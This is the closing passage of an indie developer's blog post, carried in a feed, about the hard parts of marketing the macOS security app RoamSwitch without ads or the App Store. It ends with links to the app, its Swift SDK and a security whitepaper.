&lt;h2&gt;
  
  
  What is still unresolved
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Reaching non-technical users:&lt;/strong&gt; The MCP and SDK route works exceptionally well for developers. Reaching designers, freelance writers, or remote workers who work in cafes remains completely unsolved without traditional marketing.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Global reach:&lt;/strong&gt; Translating technical articles and reaching Mac communities across Product Hunt, Hacker News, and Indie Hackers is an ongoing effort.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Optimizing conversion without adding nagware:&lt;/strong&gt; I refuse to add popups or dark patterns to the free version. Keeping the free tier clean while communicating the value of the paid automation layer is a delicate balance.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;When you can't rely on the App Store and have no money for ads, trying to push a standalone security product is an uphill battle.&lt;/p&gt;

&lt;p&gt;The alternative is to &lt;strong&gt;open up the interfaces, embed yourself into the tools developers already use every day (like AI agents), and let your engineering transparency do the talking.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;It's not an overnight viral hack. But for an indie hacker in the security space, building genuine infrastructure and proving your work is the only sustainable way forward.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;The app is &lt;a href="https://lafine.net/" rel="noopener noreferrer"&gt;RoamSwitch&lt;/a&gt;. The Swift SDK is on &lt;a href="https://github.com/lafine1211/RoamSwitchKit" rel="noopener noreferrer"&gt;GitHub (RoamSwitchKit)&lt;/a&gt;, and the security whitepaper is &lt;a href="https://lafine.net/security.html" rel="noopener noreferrer"&gt;here&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>ai</category>
      <category>indiehackers</category>
      <category>macos</category>
    </item>
  </channel>
</rss>
